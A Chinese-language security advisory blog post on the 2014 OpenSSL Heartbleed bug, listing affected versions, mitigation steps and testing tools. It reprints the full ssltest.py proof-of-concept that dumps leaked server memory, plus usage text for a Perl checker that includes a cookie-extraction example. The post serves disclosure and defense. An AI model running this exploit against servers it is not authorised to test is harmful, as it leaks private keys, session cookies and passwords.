OpenSSL CVE-2014-0160 嚴重漏洞
OpenSSL 今天公告了一個極度嚴重的漏洞(CVE-2014-0160),被稱為「Heartbleed」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。
詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug
- 軟體名稱:OpenSSL
- 影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1
- 修復版本:1.0.1g / 1.0.2-beta2
- 影響系統版本
- Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
- Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
- CentOS 6.5, OpenSSL 1.0.1e-15
- Fedora 18, OpenSSL 1.0.1e-4
- OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
- FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
- NetBSD 5.0.2 (OpenSSL 1.0.1e)
- OpenSUSE 12.2 (OpenSSL 1.0.1c)
- 影響服務:HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務
OpenSSL 的公告如下:https://www.openssl.org/news/secadv_20140407.txt
A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server. Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.
如何自我檢測?
要如何測試自己的網站有沒有這樣的漏洞呢?可以利用以下的網站或工具直接查詢。
- Heartbleed test http://filippo.io/Heartbleed/
直接輸入 Domain 即可查詢,例如「fbi.gov」。
使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。
原始碼如下:
#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)# The author disclaims copyright to this source code.importsysimportstructimportsocketimporttimeimportselectimportrefromoptparseimportOptionParseroptions=OptionParser(usage='%prog server [options]',description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')options.add_option('-p','--port',type='int',default=443,help='TCP port to test (default: 443)')defh2bin(x):returnx.replace(' ','').replace('\n','').decode('hex')hello=h2bin('''16 03 02 00 dc 01 00 00 d8 03 02 5343 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cfbd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 0000 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 8800 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1cc0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0cc0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 1100 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 0403 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 1900 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 0800 06 00 07 00 14 00 15 00 04 00 05 00 12 00 1300 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 0000 0f 00 01 01 ''')hb=h2bin(''' 18 03 02 00 0301 40 00''')defhexdump(s):forbinxrange(0,len(s),16):lin=[cforcins[b:b+16]]hxdat=' '.join('%02X'%ord(c)forcinlin)pdat=''.join((cif32<=ord(c)<=126else'.')forcinlin)print' %04x: %-48s%s'%(b,hxdat,pdat)printdefrecvall(s,length,timeout=5):endtime=time.time()+timeoutrdata=''remain=lengthwhileremain>0:rtime=endtime-time.time()ifrtime<0:returnNoner,w,e=select.select([s],[],[],5)ifsinr:data=s.recv(remain)# EOF?ifnotdata:returnNonerdata+=dataremain-=len(data)returnrdatadefrecvmsg(s):hdr=recvall(s,5)ifhdrisNone:print'Unexpected EOF receiving record header - server closed connection'returnNone,None,Nonetyp,ver,ln=struct.unpack('>BHH',hdr)pay=recvall(s,ln,10)ifpayisNone:print'Unexpected EOF receiving record payload - server closed connection'returnNone,None,Noneprint' ... received message: type = %d, ver = %04x, length = %d'%(typ,ver,len(pay))returntyp,ver,paydefhit_hb(s):s.send(hb)whileTrue:typ,ver,pay=recvmsg(s)iftypisNone:print'No heartbeat response received, server likely not vulnerable'returnFalseiftyp==24:print'Received heartbeat response:'hexdump(pay)iflen(pay)>3:print'WARNING: server returned more data than it should - server is vulnerable!'else:print'Server processed malformed heartbeat, but did not return any extra data.'returnTrueiftyp==21:print'Received alert:'hexdump(pay)print'Server returned error, likely not vulnerable'returnFalsedefmain():opts,args=options.parse_args()iflen(args)<1:options.print_help()returns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)print'Connecting...'sys.stdout.flush()s.connect((args[0],opts.port))print'Sending Client Hello...'sys.stdout.flush()s.send(hello)print'Waiting for Server Hello...'sys.stdout.flush()whileTrue:typ,ver,pay=recvmsg(s)iftyp==None:print'Server closed connection without sending Server Hello.'return# Look for server hello done message.iftyp==22andord(pay[0])==0x0E:breakprint'Sending heartbeat request...'sys.stdout.flush()s.send(hb)hit_hb(s)if__name__=='__main__':main()
使用方法直接執行「perl check-ssl-heartbleed.pl mail.XXXXXX.gov.tw:443」,可在網域名稱後指定特定 SSL 連接埠。
使用說明:
Check if server is vulnerable against heartbleet SSL attack (CVE-2014-0160)Usage: check-ssl-heartbleed.pl [ --starttls proto[:arg] ] [ --timeout T ] host:port --starttls proto[:arg] - start plain and upgrade to SSL with starttls protocol (imap,smtp,http,pop) -T|--timeout T - use timeout (default 5) -H|--heartbeats N - number of heartbeats (default 1) -s|--show-data [L] - show heartbeat response if vulnerable, optional parameter L specifies number of bytes per line (16) -R|--show-regex-data R - show data matching perl regex R. Option can be used multiple times -q|--quiet - don't show anything, exit 1 if vulnerable -h|--help - this screenExamples: # check direct www, imaps .. server check-ssl-heartbleed.pl www.google.com:443 check-ssl-heartbleed.pl www.google.com:https check-ssl-heartbleed.pl mail.google.com:imaps # try to get Cookies check-ssl-heartbleed.pl -R 'Cookie:.*' www.broken-site.com:443 # check webserver via proxy check-ssl-heartbleed.pl --starttls http:www.google.com:443 proxy:8000 # check imap server, start with plain and upgrade check-ssl-heartbleed.pl --starttls imap imap.gmx.net:143 # check pop server, start with plain and upgrade check-ssl-heartbleed.pl --starttls pop pop.gmx.net:110 # check smtp server, start with plain and upgrade check-ssl-heartbleed.pl --starttls smtp smtp.gmail.com:587
應對措施
如果發現自己的伺服器有這樣的漏洞,該怎麼辦呢?
- 確認自己的 OpenSSL 版本是否在受害範圍
- 使用 ssltest.py 檢測工具檢測是否含有漏洞
- 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
- 重開所有與 OpenSSL 函式庫相關之服務
- 重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
- 將網站舊憑證撤銷
- 清除所有目前網頁伺服器上的 Session (因為可能遭到竊取)
- 必要時更換網站內使用者密碼,或是密切追蹤網站是否有帳號盜用的情況發生
詳細討論與建議可以參考 Heartbleed: What is it and what are options to mitigate it? http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it
誰會是目標呢?
真的會有攻擊者利用這樣的攻擊手法嗎?目前在烏雲 wooyun平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式,想要藉此把平常打不下來的網站一舉攻陷。
怎樣的站台會是重點目標呢?含有會員機制的網站特別如此,例如 Web Mail、社群網站等等。因此不少企業要多注意了,例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS,都會在這波的攻擊範圍之內。如果沒有儘速修復,等到更有效的攻擊程式出現,就真的等著失血了。
小結
就連 OpenSSL 這種歷史悠久而且重要的函式庫,都可能犯這種基本的 C 語言程式設計錯誤,老舊的程式碼一定有不少陳年遺毒,如果沒有徹底清查,類似的心臟噴血事件會不斷上演。大家快點止血吧!